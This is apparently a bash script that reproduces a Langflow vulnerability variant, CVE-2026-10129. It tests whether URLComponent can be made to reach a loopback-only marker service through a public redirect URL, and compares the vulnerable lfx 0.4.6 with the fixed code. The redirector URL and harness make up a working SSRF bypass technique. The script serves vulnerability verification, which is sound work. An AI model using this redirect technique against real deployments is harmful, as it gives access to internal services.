#!/bin/bash
# CVE-2026-10129 variant/bypass reproduction: Langflow URL component redirect SSRF.
#
# The original reproduction validates the API Request component. This script tests
# a distinct built-in data-source component, URLComponent, which accepts a user-
# supplied URL and fetches it through Langflow flow execution. Vulnerable lfx
# 0.4.6 validates only the initial URL then delegates to RecursiveUrlLoader, whose
# HTTP clients automatically follow redirects. A public redirector can therefore
# reach a loopback-only internal marker service.
#
# Exit 0 = a true bypass/variant reproduced on the fixed/latest target.
# Exit 1 = the variant works only on the vulnerable target and is blocked by the
#          fixed/latest URLComponent implementation.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
DATA_DIR="$ROOT/data"
mkdir -p "$LOGS/vuln_variant" "$VARIANT_DIR"
cd "$ROOT"

LOG="$LOGS/vuln_variant/reproduction_steps.log"
: > "$LOG"
log(){ echo "[$(date -Is)] $*" | tee -a "$LOG"; }

PY="$DATA_DIR/venv/bin/python"
if [ ! -x "$PY" ]; then
  log "ERROR: expected repro virtualenv at $PY. Run bundle/repro/reproduction_steps.sh first or provide the same environment."
  exit 2
fi

REPO_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  REPO_DIR=$(jq -r 'if .prepared == true and .project_cache_dir then .project_cache_dir + "/repo" else empty end' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi
if [ -z "$REPO_DIR" ] || [ ! -f "$REPO_DIR/src/lfx/src/lfx/components/data_source/url.py" ]; then
  log "ERROR: fixed/latest repository not found via project_cache_context.json"
  exit 2
fi

SUBMITTED_COMMIT=$(git -C "$REPO_DIR" rev-parse 'v1.9.3^{}' 2>/dev/null || true)
FIXED_COMMIT=$(git -C "$REPO_DIR" rev-parse HEAD)
printf '%s\n' "$FIXED_COMMIT" > "$LOGS/vuln_variant/latest_version.txt"
printf '%s\n' "$FIXED_COMMIT" > "$LOGS/vuln_variant/fixed_version.txt"
log "Submitted vulnerable reference v1.9.3 resolves to: ${SUBMITTED_COMMIT:-unknown}"
log "Fixed/latest source reference HEAD resolves to: $FIXED_COMMIT"

git -C "$REPO_DIR" show --no-patch --format='%H %ci %s' HEAD > "$LOGS/vuln_variant/latest_git_identity.txt"
git -C "$REPO_DIR" show --no-patch --format='%H %ci %s' 'v1.9.3^{}' > "$LOGS/vuln_variant/submitted_git_identity.txt" 2>/dev/null || true

PORT=9998
MARKER="INTERNAL_ADMIN_TOKEN_CVE_2026_10129"
# Clean up any stale local marker service from a previous interrupted run.
if command -v fuser >/dev/null 2>&1; then
  fuser -k "${PORT}/tcp" >/dev/null 2>&1 || true
fi

"$PY" "$VARIANT_DIR/internal_marker.py" --port "$PORT" > "$LOGS/vuln_variant/internal_marker.log" 2>&1 &
MARKER_PID=$!
cleanup(){ kill "$MARKER_PID" >/dev/null 2>&1 || true; }
trap cleanup EXIT
log "Started loopback-only internal marker service pid=$MARKER_PID on 127.0.0.1:$PORT"

READY=false
for _ in $(seq 1 50); do
  if curl -s --max-time 2 "http://127.0.0.1:$PORT/marker" | grep -q "$MARKER"; then
    READY=true
    break
  fi
  sleep 0.2
done
if [ "$READY" != "true" ]; then
  log "ERROR: internal marker service did not become ready"
  cat "$LOGS/vuln_variant/internal_marker.log" | tee -a "$LOG" || true
  exit 2
fi

REDIRECT_URL="https://postman-echo.com/redirect-to?url=http%3A%2F%2F127.0.0.1%3A${PORT}%2Fmarker"
log "Testing URLComponent with public redirector URL: $REDIRECT_URL"

# ---------------------------------------------------------------------------
# 1. Vulnerable target: the installed lfx 0.4.6 from the successful repro.
# ---------------------------------------------------------------------------
set +e
"$PY" "$VARIANT_DIR/run_url_component.py" --url "$REDIRECT_URL" --use-async false --continue-on-failure false \
  > "$LOGS/vuln_variant/url_component_vulnerable.json" 2>&1
VULN_EC=$?
set -e
log "Vulnerable URLComponent harness exit code: $VULN_EC"
cat "$LOGS/vuln_variant/url_component_vulnerable.json" >> "$LOG" || true

VULN_REACHED=$(
  "$PY" - "$LOGS/vuln_variant/url_component_vulnerable.json" <<'PY' 2>/dev/null || echo false
import json, sys
text=open(sys.argv[1], encoding='utf-8', errors='replace').read().strip().splitlines()[-1]
print(str(bool(json.loads(text).get('variant_reached_internal'))).lower())
PY
)
log "Vulnerable URLComponent reached internal marker: $VULN_REACHED"

# ---------------------------------------------------------------------------
# 2. Fixed/latest target: shadow only the fixed URLComponent and required fixed
#    utility module from repo HEAD, without mutating the repro environment or
#    checking out a different ref.
# ---------------------------------------------------------------------------
FIXED_SRC="$VARIANT_DIR/fixed_overlay"
rm -rf "$FIXED_SRC"
mkdir -p "$FIXED_SRC/lfx/components/data_source" "$FIXED_SRC/lfx/utils"
cat > "$FIXED_SRC/lfx/__init__.py" <<'PY'
from pkgutil import extend_path
__path__ = extend_path(__path__, __name__)
PY
cat > "$FIXED_SRC/lfx/components/__init__.py" <<'PY'
from pkgutil import extend_path
__path__ = extend_path(__path__, __name__)
PY
cat > "$FIXED_SRC/lfx/components/data_source/__init__.py" <<'PY'
from pkgutil import extend_path
__path__ = extend_path(__path__, __name__)
PY
cat > "$FIXED_SRC/lfx/utils/__init__.py" <<'PY'
from pkgutil import extend_path
__path__ = extend_path(__path__, __name__)
PY
cp "$REPO_DIR/src/lfx/src/lfx/components/data_source/url.py" "$FIXED_SRC/lfx/components/data_source/url.py"
cp "$REPO_DIR/src/lfx/src/lfx/utils/ssrf_transport.py" "$FIXED_SRC/lfx/utils/ssrf_transport.py"

set +e
PYTHONPATH="$FIXED_SRC:${PYTHONPATH:-}" "$PY" "$VARIANT_DIR/run_url_component.py" --url "$REDIRECT_URL" --use-async false --continue-on-failure false \
  > "$LOGS/vuln_variant/url_component_fixed_latest.json" 2>&1
FIXED_EC=$?
set -e
log "Fixed/latest URLComponent harness exit code: $FIXED_EC"
cat "$LOGS/vuln_variant/url_component_fixed_latest.json" >> "$LOG" || true

FIXED_REACHED=$(
  "$PY" - "$LOGS/vuln_variant/url_component_fixed_latest.json" <<'PY' 2>/dev/null || echo false
import json, sys
text=open(sys.argv[1], encoding='utf-8', errors='replace').read().strip().splitlines()[-1]
print(str(bool(json.loads(text).get('variant_reached_internal'))).lower())
PY
)
log "Fixed/latest URLComponent reached internal marker: $FIXED_REACHED"

# Write a compact runtime manifest for downstream verification.
"$PY" - "$VARIANT_DIR/runtime_manifest.json" "$SUBMITTED_COMMIT" "$FIXED_COMMIT" "$VULN_REACHED" "$FIXED_REACHED" <<'PY'
import json, sys
out, submitted, fixed, vuln, fixed_reached = sys.argv[1:]
manifest = {
  "entrypoint_kind": "component_harness",
  "entrypoint_detail": "lfx.components.data_source.url.URLComponent.fetch_url_contents with attacker-controlled public redirect URL",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": vuln == "true",
  "fixed_target_reached": fixed_reached == "true",
  "runtime_stack": ["installed repro venv lfx 0.4.6", "repo HEAD fixed URLComponent overlay", "loopback internal marker 127.0.0.1:9998", "postman-echo redirector"],
  "submitted_commit_sha": submitted or None,
  "fixed_commit_sha": fixed,
  "proof_artifacts": [
    "logs/vuln_variant/reproduction_steps.log",
    "logs/vuln_variant/url_component_vulnerable.json",
    "logs/vuln_variant/url_component_fixed_latest.json",
    "logs/vuln_variant/internal_marker.log",
    "logs/vuln_variant/latest_version.txt"
  ]
}
open(out, "w", encoding="utf-8").write(json.dumps(manifest, indent=2))
PY

if [ "$VULN_REACHED" = "true" ] && [ "$FIXED_REACHED" = "true" ]; then
  log "VERDICT: confirmed bypass on fixed/latest target"
  exit 0
fi

if [ "$VULN_REACHED" = "true" ] && [ "$FIXED_REACHED" != "true" ]; then
  log "VERDICT: alternate same-root-cause trigger on vulnerable target; fixed/latest blocks it (not a bypass)."
  exit 1
fi

log "VERDICT: variant was not reproduced even on vulnerable target."
exit 1
